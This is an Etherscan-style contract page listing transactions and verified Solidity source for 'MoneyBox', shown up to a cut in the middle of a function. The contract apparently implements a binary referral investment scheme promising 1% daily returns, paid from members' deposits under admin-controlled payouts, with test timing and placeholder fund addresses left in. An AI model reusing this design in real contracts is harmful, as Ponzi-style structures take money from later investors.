Contract Overview
Balance: 23.1 Ether
Transactions: 1478 txns
 Latest 25 txns From a total of 1478 Transactions

TxHash Age From To Value [TxFee]
0x7c60e56297be1a4b6d4aaf5a76b77e4760c32f29942b851daa3427d230f6e08261 days 6 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000027362
0xff46e8da08eeaf1f866e3fbc57f9d935bf2676d028fa6a9f5e44a92e5f61af4161 days 6 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000027362
0x60c3a0b6cf8dfac90d66e1cf498229fbe6455c406f721ecac5594b4f801b689961 days 6 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000027362
0x0d65a7f5cfd0f9589fcbf1dcf32f6b25b22048b75f24648253f5d24fbf0f17c561 days 6 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000027362
0x8ae8ee34d9bc7149a22b46beb060fb0229bcdf17d79b9196288b8276cb42a55761 days 6 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000027362
0x5ad09cce812d11e661f9f7db6778486aea667ee9fec5f8f1120e034a0a8e798d61 days 6 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000027362
0x53f1328e89ff94e09f356a9477d578cc4c08e9414461e913ee918e3c2057af5f61 days 20 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.00002858
0x19b475ad68c8bae5e0b18f6d410768768faffe2489560b8942d10f156e327fb661 days 20 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.00002858
0xfb7f38f720789ad094e52ddeb05fa094da6ab1d2c5a91976d7a8e848d4b1f98161 days 20 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.00002858
0xb74dc8c2ab526c3af67689598473c52b0a37cebc88944f2ce60cb5253f72f0e461 days 20 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.00002858
0x905bd710e40e96ae06cc9e39b6d5e23c8b94c806a5dc822c453b0f1b7b37fd3861 days 20 hrs ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.00001429
0x7a7a409ac77c9301e6c6af4a3091e46c0112f3dc474a981beffaa657810504b862 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000506285
0x8fab037c3d18f1a2a2893d8c244ebfac8f2ecfbf0acfa49e64f1e87cf244bae662 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0x33dc0ba160405e9b919d442c77fb11df6deb0b2021bfcb841c9290cf54b649cb62 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0xce598bfed6647f74995286a7d6a60947c464ff2110404e03be293e64a7ab389462 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0xb63bf4e2b0546e602c39b4e9733c8cdf480d8254500f38ed2cb389290127e83762 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0x78ad6922ea46c1c39251864c6345edb186d1f772627048c94c005a620d61270862 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0x991ab2242b7704320faa4112d859907c3fdbe6d596d6078c3aadeb4e40f5f7bc62 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0xec43c157687e869773d301f7ccce47cfdd2c2595921cee99dca2d51853655def62 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0xc8052bc553957ce10aa66e1364b40a4aa3fa928fad122d76deadd94d0db0e40a62 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0x70f70b6c97aa9deff6379ac9a60ef5df3fa20de7f311c9b73b89eee49c78335c62 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0xd3e5f1246bfaeb117c22c2ef187f8fcf66ce23159934929cbf7208074da00eef62 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0x2ba759697ec61ec3f77f9d3c203db8055df80abc3c1565cd601c71644507790b62 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0x0c33c850c6e0bb05313ea2112ded5647d08f521c547d0ddce6e630c104cfbc9562 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
0x7bdf69bfa9876d2039b5a7862eb187a73315650dd4b366428747c1725a77b0d062 days 1 hr ago0x4357de4549a18731fa8bf3c7b69439e87faff8f6  IN   0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440 Ether0.000201328
[ Download CSV Export  ] 
 Internal Transactions as a result of Contract Execution
 Latest 25 Internal Txns, Click Here To View More View All
ParentTxHash Block Age From To Value
0x8fab037c3d18f1a2a2893d8c244ebfac8f2ecfbf0acfa49e64f1e87cf244bae6300401762 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x33dc0ba160405e9b919d442c77fb11df6deb0b2021bfcb841c9290cf54b649cb300401562 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0xce598bfed6647f74995286a7d6a60947c464ff2110404e03be293e64a7ab3894300401462 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0xb63bf4e2b0546e602c39b4e9733c8cdf480d8254500f38ed2cb389290127e837300401362 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x78ad6922ea46c1c39251864c6345edb186d1f772627048c94c005a620d612708300401162 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x991ab2242b7704320faa4112d859907c3fdbe6d596d6078c3aadeb4e40f5f7bc300401062 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0xec43c157687e869773d301f7ccce47cfdd2c2595921cee99dca2d51853655def300400862 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0xc8052bc553957ce10aa66e1364b40a4aa3fa928fad122d76deadd94d0db0e40a300400762 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x70f70b6c97aa9deff6379ac9a60ef5df3fa20de7f311c9b73b89eee49c78335c300400662 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0xd3e5f1246bfaeb117c22c2ef187f8fcf66ce23159934929cbf7208074da00eef300400462 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x2ba759697ec61ec3f77f9d3c203db8055df80abc3c1565cd601c71644507790b300400162 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x0c33c850c6e0bb05313ea2112ded5647d08f521c547d0ddce6e630c104cfbc95300400062 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x7bdf69bfa9876d2039b5a7862eb187a73315650dd4b366428747c1725a77b0d0300399962 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x5e6461e6fd7491e3c18b12199e2dc026b67a27f86c97141a9c2bdf815beb2571300399762 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x9a947268fdfbf7ac49b0ebe24631c9ea345e0c8a6824b08aa6f0127e82233fdc300399662 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x9fa0dc62895c34c6858e2321383459231688931ad1c890e7f91f24e347efe099300399462 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0xd5318ad090a1b5acb6c2d74b6685a9492dd5e05bb2b0f87c0995232cf5f800c2300399362 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0xf3464f2657cc8e830d1ec2a6e51d3458b9667b46c88905ef5168841df603a3d4300399262 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x2985266345296a8b9da697999157fdd118377af6ff9c7d2d4571c9625038a985300399062 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x1ed11950f0b6213a6f34c999ea6e80111c60859aee63d6169341b66d0b7a9d88300398962 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0xd6c762262f3bd5575989131c28491f076487f7e39553036cbe0cd111fb43fe71300398762 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x3ea11c07f55bfc99e229297a989e46d5e980f72b8d4a7196b93736acada7fe0e300398662 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0x507704b4f5577eaf6953338aec265509faa8792c039555091f1a2f010776894e300398562 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0xd396d820d8059cbec608363fc17ac5bc1a9cdff824c40ae02cca30c943085453300398362 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
0xd89ebbaaab7a9174d9ceb7824b92a41e6459faa486b640afad87910648c1dec3300398262 days 1 hr ago0xef7cc280dfeb45b95b7d45f8e40003c7e5d64e440xf18fff637e0a85076babfb7145e9b5c63fc39b7c27 Ether
[ Download CSV Export  ] 
Warning: The Compiled Contract might be susceptible to ExpExponentCleanup (medium/high-severity), EventStructWrongData (very low-severity) SolidityCompiler Bugs.

Contract Source Code Verified (Exact Match)
Contract Name: MoneyBox
Compiler Text: v0.4.24+commit.e67f0147
Optimization Enabled: Yes
Runs (Optimiser):  200



  Contract Source Code   Find Similiar Contracts

pragma solidity ^0.4.22;

contract MoneyBox {
    event MaxOut (address investor, uint256 times, uint256 at);
    // change OND_DAY to 86400
    uint256 public constant ONE_DAY = 600;
    address private admin;
    uint256 private depositedAmountGross = 0;
    uint256 private paySystemCommissionTimes = 0;
    uint256 private payDailyIncomeTimes = 0;
    uint256 private lastPaySystemCommission = now;
    uint256 private lastPayDailyIncome = now;
    uint256 private contractStartAt = now;
    uint256 private lastReset = now;
    // TODO change fund addresses
    address private operationFund = 0x98c3F04e1aa7d9Ae1CBE8f07a9084655694962E6;
    address private developmentFund = 0x95f8af828bDDAd4786f5041F3aE87655C45B97EE;
    address private reserveFund = 0xDEfB0efC618245aD90c04b8b5072553d157368c8;
    address private emergencyAccount = 0x005da4a36b2df3432fd24eaba5ce58eeadc2d70d0e;
    bool private emergencyMode = false;
    mapping (address => Investor) investors;
    address[] public investorAddresses;
    mapping (bytes32 => Investment) investments;
    mapping (bytes32 => Withdrawal) withdrawals;
    bytes32[] private investmentIds;
    bytes32[] private withdrawalIds;

    uint256 maximumMaxOutInWeek = 4;
    
    struct Investment {
        bytes32 id;
        uint256 at;
        uint256 amount;
        address investor;
    }
    
    struct Withdrawal {
        bytes32 id;
        uint256 at;
        uint256 amount;
        address investor;
        address presentee;
        uint256 reason;
        uint256 times;
    }

    /*
        reason 1: DIRECT COMMISSION
        reason 2: DAILY COMMISSION
        reason 3: SYSTEM COMMISSION
        reason 4: RESERVE COMMISSION
        reason 5: TEST COMMISSION
        reason 6: END GAME
    */

    struct Investor {
        string email;
        address parent;
        address leftChild;
        address rightChild;
        address presenter;
        uint256 generation;
        address[] presentees;
        uint256 depositedAmount;
        uint256 withdrewAmount;
        bool isDisabled;
        uint256 lastMaxOut;
        uint256 maxOutTimes;
        uint256 maxOutTimesInWeek;
        uint256 totalSell;
        uint256 sellThisMonth;
        bytes32[] investments;
        bytes32[] withdrawals;
        uint256 rightSell;
        uint256 leftSell;
        uint256 reserveCommission;
        uint256 dailyIncomeWithrewAmount;
    }

    constructor () public { admin = msg.sender; }
    
    modifier mustBeAdmin() { require(msg.sender == admin); _; }    
    
    function () payable public { deposit(); }
    
    // deposit and withdraw
    
    function deposit() payable public {
        require(msg.value >= 0.2 ether);
        Investor storage investor = investors[msg.sender];
        // must be registered investor
        require(investor.generation != 0);
        require(investor.maxOutTimesInWeek <= maximumMaxOutInWeek);
        require(investor.maxOutTimes <= 200);
        require(investor.lastMaxOut == 0 || now - investor.lastMaxOut < ONE_DAY || investor.depositedAmount != 0);
        depositedAmountGross += msg.value;
        bytes32 id = keccak256(abi.encodePacked(block.difficulty, now, msg.sender, msg.value));
        uint256 investmentValue = investor.depositedAmount + msg.value <= 10 ether ? msg.value : 10 ether - investor.depositedAmount;
        if (investmentValue == 0) return;
        Investment memory investment = Investment({ id: id, at: now, amount: investmentValue, investor: msg.sender });
        investments[id] = investment;
        processInvestments(id);
        investmentIds.push(id);
    }
    
    function processInvestments(bytes32 investmentId) internal {
        Investment storage investment = investments[investmentId];
        uint256 amount = investment.amount;
        Investor storage investor = investors[investment.investor];
        investor.investments.push(investmentId);
        investor.depositedAmount += amount;
        // neu la root user thi ko co presenter
        addSellForParents(investment.investor, amount);
        address presenterAddress = investor.presenter;
        Investor storage presenter = investors[presenterAddress];
        if (presenterAddress != 0) {
            presenter.totalSell += amount;
            presenter.sellThisMonth += amount;
        }
        if (presenter.depositedAmount >= 0.2 ether && !presenter.isDisabled) {
            sendEtherForInvestor(presenterAddress, amount / 10, 1, investment.investor, 0);
        }
    }

    function addSellForParents(address investorAddress, uint256 amount) internal {
        Investor memory investor = investors[investorAddress];
        address currentParentAddress = investor.parent;
        address currentInvestorAddress = investorAddress;
        uint256 loopCount = investor.generation - 1;
        for(uint256 i = 0; i < loopCount; i++) {
            Investor storage parent = investors[currentParentAddress];
            // test max out here
            // withdrewAmount
            if (parent.leftChild == currentInvestorAddress) parent.leftSell += amount;
            else parent.rightSell += amount;
            uint256 incomeTilNow = getAllIncomeTilNow(currentParentAddress);
            if (incomeTilNow > 3 * parent.depositedAmount) {
                payDailyIncomeForInvestor(currentParentAddress, 0);
                paySystemCommissionInvestor(currentParentAddress, 0);
            }
            currentInvestorAddress = currentParentAddress;
            currentParentAddress = parent.parent;
        }
    }

    function sendEtherForInvestor(address investorAddress, uint256 value, uint256 reason, address presentee, uint256 times) internal {
        if (value == 0 || investorAddress == 0) return;
        Investor storage investor = investors[investorAddress];
        if (investor.reserveCommission > 0) {
            uint256 reserveCommission = investor.reserveCommission;
            investor.reserveCommission = 0;
            sendEtherForInvestor(investorAddress, reserveCommission, 4, 0, 0);
        }
        uint256 withdrewAmount = investor.withdrewAmount;
        uint256 depositedAmount = investor.depositedAmount;
        uint256 amountToPay = value;
        if (withdrewAmount + value >= 3 * depositedAmount) {
            amountToPay = 3 * depositedAmount - withdrewAmount;
            investor.reserveCommission = value - amountToPay;
            if (reason != 2) investor.reserveCommission += getDailyIncomeForUser(investorAddress);
            if (reason != 3) investor.reserveCommission += getUnpaidSystemCommission(investorAddress);
            investor.maxOutTimes++;
            investor.maxOutTimesInWeek++;
            investor.depositedAmount = 0;
            investor.withdrewAmount = 0;
            investor.lastMaxOut = now;
            investor.rightSell = 0;
            investor.leftSell = 0;
            investor.dailyIncomeWithrewAmount = 0;
            emit MaxOut(investorAddress, investor.maxOutTimes, now);
        } else {
            investors[investorAddress].withdrewAmount += amountToPay;
        }
        if (amountToPay != 0) {
            investorAddress.transfer(amountToPay / 100 * 90);
            operationFund.transfer(amountToPay / 100 * 4);
            developmentFund.transfer(amountToPay / 100 * 1);
            reserveFund.transfer(amountToPay / 100 * 5);
            bytes32 id = keccak256(abi.encodePacked(block.difficulty, now, investorAddress, amountToPay, reason));
            Withdrawal memory withdrawal = Withdrawal({ id: id, at: now, amount: amountToPay, investor: investorAddress, presentee: presentee, times: times, reason: reason });
            withdrawals[id] = withdrawal;
            investor.withdrawals.push(id);
            withdrawalIds.push(id);
        }
    }

    function getAllIncomeTilNow(address investorAddress) internal view returns(uint256 allIncome) {
        Investor memory investor = investors[investorAddress];
        uint256 unpaidDailyIncome = getDailyIncomeForUser(investorAddress);
        uint256 withdrewAmount = investor.withdrewAmount;
        uint256 unpaidSystemCommission = getUnpaidSystemCommission(investorAddress);
        uint256 allIncomeNow = unpaidDailyIncome + withdrewAmount + unpaidSystemCommission;
        return allIncomeNow;
    }

    // Get info

    function getContractInfo() public view returns (address _admin, uint256 _depositedAmountGross, address _developmentFund, address _operationFund, address _reserveFund, address _emergencyAccount, bool _emergencyMode, address[] _investorAddresses, uint256 balance, uint256 _paySystemCommissionTimes, uint256 _maximumMaxOutInWeek) {
        return (admin, depositedAmountGross, developmentFund, operationFund, reserveFund, emergencyAccount, emergencyMode, investorAddresses, address(this).balance, paySystemCommissionTimes, maximumMaxOutInWeek);
    }
    
    function getContractTime() public view returns(uint256 _contractStartAt, uint256 _lastReset, uint256 _oneDay, uint256 _lastPayDailyIncome, uint256 _lastPaySystemCommission) {
        return (contractStartAt, lastReset, ONE_DAY, lastPayDailyIncome, lastPaySystemCommission);
    }
    
    function getInvestorRegularInfo(address investorAddress) public view returns (string email, uint256 generation, uint256 rightSell, uint256 leftSell, uint256 reserveCommission, uint256 depositedAmount, uint256 withdrewAmount, bool isDisabled) {
        Investor memory investor = investors[investorAddress];
        return (
            investor.email,
            investor.generation,
            investor.rightSell,
            investor.leftSell,
            investor.reserveCommission,
            investor.depositedAmount,
            investor.withdrewAmount,
            investor.isDisabled
        );
    }
    
    function getInvestorAccountInfo(address investorAddress) public view returns (uint256 maxOutTimes, uint256 maxOutTimesInWeek, uint256 totalSell, bytes32[] investorIds, uint256 dailyIncomeWithrewAmount, uint256 unpaidSystemCommission, uint256 unpaidDailyIncome) {
        Investor memory investor = investors[investorAddress];
        return (
            investor.maxOutTimes,
            investor.maxOutTimesInWeek,
            investor.totalSell,
            investor.investments,
            investor.dailyIncomeWithrewAmount,
            getUnpaidSystemCommission(investorAddress),
            getDailyIncomeForUser(investorAddress)
        ); 
    }
    
    function getInvestorTreeInfo(address investorAddress) public view returns (address leftChild, address rightChild, address parent, address presenter, uint256 sellThisMonth, uint256 lastMaxOut) {
        Investor memory investor = investors[investorAddress];
        return (
            investor.leftChild,
            investor.rightChild,
            investor.parent,
            investor.presenter,
            investor.sellThisMonth,
            investor.lastMaxOut
        );
    }

    function getInvestments(address investorAddress) public view returns(bytes32[] ids, uint256[] ats, uint256[] amounts) {
        Investor memory investor = investors[investorAddress];
        bytes32[] memory currentInvestments = investor.investments;
        uint256 length = currentInvestments.length;
        ids = new bytes32[](length);
        ats = new uint256[](length);
        amounts = new uint256[](length);
        for (uint256 i = 0; i < length; i++) {
            bytes32 id = currentInvestments[i];
            ids[i] = id;
            ats[i] = investments[id].at;
            amounts[i] = investments[id].amount;
        }
        return (ids, ats, amounts);
    }

    function getWithdrawals(address investorAddress) public view returns(bytes32[] ids, uint256[] ats, uint256[] amounts, address[] presentees, uint256[] reasons, uint256[] times) {
        bytes32[] memory curentWithdrawals = investors[investorAddress].withdrawals;
        ats = new uint256[](curentWithdrawals.length);
        amounts = new uint256[](curentWithdrawals.length);
        presentees = new address[](curentWithdrawals.length);
        reasons = new uint256[](curentWithdrawals.length);
        times = new uint256[](curentWithdrawals.length);
        for (uint256 i = 0; i < curentWithdrawals.length; i++) {
            bytes32 id = curentWithdrawals[i];
            ats[i] = withdrawals[id].at;
            amounts[i] = withdrawals[id].amount;
            presentees[i] =withdrawals[id].presentee;
            reasons[i] = withdrawals[id].reason;
            times[i] = withdrawals[id].times;
        }
        return (curentWithdrawals, ats, amounts, presentees, reasons, times);
    }
    
    function getWithdrawalsByTime(uint256 start, uint256 end)public view returns(bytes32[] ids, uint256[] ats, uint256[] amounts, address[] presentees, uint256[] reasons, uint256[] times, bytes32[] emails) {
        ids = new bytes32[](withdrawalIds.length);
        ats = new uint256[](withdrawalIds.length);
        amounts = new uint256[](withdrawalIds.length);
        emails = new bytes32[](withdrawalIds.length);
        presentees = new address[](withdrawalIds.length);
        reasons = new uint256[](withdrawalIds.length);
        times = new uint256[](withdrawalIds.length);
        uint256 index = 0;
        for (uint256 i = 0; i < withdrawalIds.length; i++) {
            bytes32 id = withdrawalIds[i];
            if (withdrawals[id].at < start || withdrawals[id].at > end) continue;
            ids[index] = id; 
            ats[index] = withdrawals[id].at;
            amounts[index] = withdrawals[id].amount;
            emails[index] = stringToBytes32(investors[withdrawals[id].investor].email);
            reasons[index] = withdrawals[id].reason;
            times[index] = withdrawals[id].times;
            presentees[index] = withdrawals[id].presentee;
            index++;
        }
        return (ids, ats, amounts, presentees, reasons, times, emails);
    }
    
    function getInvestmentsByTime(uint256 start, uint256 end)public view returns(bytes32[] ids, uint256[] ats, uint256[] amounts, bytes32[] emails) {
        ids = new bytes32[](investmentIds.length);
        ats = new uint256[](investmentIds.length);
        amounts = new uint256[](investmentIds.length);
        emails = new bytes32[](investmentIds.length);
        uint256 index = 0;
        for (uint256 i = 0; i < investmentIds.length; i++) {
            bytes32 id = investmentIds[i];
            if (investments[id].at < start || investments[id].at > end) continue;
            ids[index] = id;
            ats[index] = investments[id].at;
            amounts[index] = investments[id].amount;
            emails[index] = stringToBytes32(investors[investments[id].investor].email);
            index++;
        }
        return (ids, ats, amounts, emails);
    }

    function getNodesAddresses(address rootNodeAddress) internal view returns(address[]){
        uint256 maxLength = investorAddresses.length;
        address[] memory nodes = new address[](maxLength);
        nodes[0] = rootNodeAddress;
        uint256 processIndex = 0;
        uint256 nextIndex = 1;
        while (processIndex != nextIndex) {
            Investor memory currentInvestor = investors[nodes[processIndex++]];
            if (currentInvestor.leftChild != 0) nodes[nextIndex++] = currentInvestor.leftChild;
            if (currentInvestor.rightChild != 0) nodes[nextIndex++] = currentInvestor.rightChild;
        }
        return nodes;
    }

    function stringToBytes32(string source) internal pure returns (bytes32 result) {
        bytes memory tempEmptyStringTest = bytes(source);
        if (tempEmptyStringTest.length == 0) return 0x0;
        assembly { result := mload(add(source, 32)) }
    }

    function getInvestorTree(address rootInvestor) public view returns(address[] nodeInvestors, bytes32[] emails, uint256[] leftSells, uint256[] rightSells, address[] parents, uint256[] generations){
        nodeInvestors = getNodesAddresses(rootInvestor);
        uint256 length = nodeInvestors.length;
        leftSells = new uint256[](length);
        rightSells = new uint256[](length);
        emails = new bytes32[] (length);
        parents = new address[] (length);
        generations = new uint256[] (length);
        for (uint256 i = 0; i < length; i++) {
            Investor memory investor = investors[nodeInvestors[i]];
            parents[i] = investor.parent;
            string memory email = investor.email;
            emails[i] = stringToBytes32(email);
            leftSells[i] = investor.leftSell;
            rightSells[i] = investor.rightSell;
            generations[i] = investor.generation;
        }
        return (nodeInvestors, emails, leftSells, rightSells, parents, generations);
    }

    function getListInvestor() public view returns (address[] nodeInvestors, bytes32[] emails, uint256[] unpaidSystemCommissions, uint256[] unpaidDailyIncomes, uint256[] depositedAmounts, uint256[] withdrewAmounts, bool[] isDisableds) {
        uint256 length = investorAddresses.length;
        unpaidSystemCommissions = new uint256[](length);
        unpaidDailyIncomes = new uint256[](length);
        emails = new bytes32[] (length);
        depositedAmounts = new uint256[] (length);
        unpaidSystemCommissions = new uint256[] (length);
        isDisableds = new bool[] (length);
        unpaidDailyIncomes = new uint256[] (length); 
        withdrewAmounts = new uint256[](length);
        for (uint256 i = 0; i < length; i++) {
            Investor memory investor = investors[investorAddresses[i]];
            depositedAmounts[i] = investor.depositedAmount;
            string memory email = investor.email;
            emails[i] = stringToBytes32(email);
            withdrewAmounts[i] = investor.withdrewAmount;
            isDisableds[i] = investor.isDisabled;
            unpaidSystemCommissions[i] = getUnpaidSystemCommission(investorAddresses[i]);
            unpaidDailyIncomes[i] = getDailyIncomeForUser(investorAddresses[i]);
        }
        return (investorAddresses, emails, unpaidSystemCommissions, unpaidDailyIncomes, depositedAmounts, withdrewAmounts, isDisableds);
    }
    // Put tree

    function putPresentee(address presenterAddress, address presenteeAddress, address parentAddress, string presenteeEmail, bool isLeft) public mustBeAdmin {
        Investor storage presenter = investors[presenterAddress];
        Investor storage parent = investors[parentAddress];
        if (investorAddresses.length != 0) {
            require(presenter.generation != 0);
            require(parent.generation != 0);
            if (isLeft) {
                require(parent.leftChild == 0); 
            } else {
                require(parent.rightChild == 0); 
            }
        }
        // investor dau tien khong co presenter, thi khong them vao mang presentees
        if (presenter.generation != 0) presenter.presentees.push(presenteeAddress);
        Investor memory investor = Investor({
            email: presenteeEmail,
            parent: parentAddress,
            leftChild: 0,
            rightChild: 0,
            presenter: presenterAddress,
            generation: parent.generation + 1, // neu khong co presenter, presenter.generation = 0
            presentees: new address[](0),
            depositedAmount: 0,
            withdrewAmount: 0,
            isDisabled: false,
            lastMaxOut: 0,
            maxOutTimes: 0,
            maxOutTimesInWeek: 0,
            totalSell: 0,
            sellThisMonth: 0,
            investments: new bytes32[](0),
            withdrawals: new bytes32[](0),
            rightSell: 0,
            leftSell: 0,
            reserveCommission: 0,
            dailyIncomeWithrewAmount: 0
        });
        investors[presenteeAddress] = investor;
        // neu khong co parent thi thoi
        investorAddresses.push(presenteeAddress);
        if (parent.generation == 0) return;
        if (isLeft) {
            parent.leftChild = presenteeAddress;
        } else {
            parent.rightChild = presenteeAddress;
        }
    }

    // Pay daily income

    function getDailyIncomeForUser(address investorAddress) internal view returns(uint256 amount) {
        Investor memory investor = investors[investorAddress];
        uint256 investmentLength = investor.investments.length;
        uint256 dailyIncome = 0;
        for (uint256 i = 0; i < investmentLength; i++) {
            Investment memory investment = investments[investor.investments[i]];
            if (investment.at < investor.lastMaxOut) continue; 
            if (now - investment.at >= ONE_DAY) {
                uint256 numberOfDay = (now - investment.at) / ONE_DAY;
                uint256 totalDailyIncome = numberOfDay * investment.amount / 100;
                dailyIncome = totalDailyIncome + dailyIncome;
            }
        }
        return dailyIncome - investor.dailyIncomeWithrewAmount;
    }
    
    function payDailyIncomeForInvestor(address investorAddress, uint256 times) public mustBeAdmin {
        uint256 dailyIncome = getDailyIncomeForUser(investorAddress);
        investors[investorAddress].dailyIncomeWithrewAmount += dailyIncome;
        sendEtherForInvestor(investorAddress, dailyIncome, 2, 0, times);
    }
    
    function payDailyIncome() public mustBeAdmin{
        for(uint256 i = 0; i < investorAddresses.length; i++) {
            payDailyIncomeForInvestor(investorAddresses[i], payDailyIncomeTimes);
        }
        payDailyIncomeTimes++;
    }
    
    function payDailyIncomeByIndex(uint256 from, uint256 to) public mustBeAdmin{
        require(from >= 0 && to < investorAddresses.length);
        for(uint256 i = from; i <= to; i++) {
            payDailyIncomeForInvestor(investorAddresses[i], payDailyIncomeTimes);
        }
    }
    
    // Pay system commission

    function getTotalSellLevel(uint256 totalSell) internal pure returns (uint256 level){
        if (totalSell < 30 ether) return 0;
        if (totalSell < 60 ether) return 1;
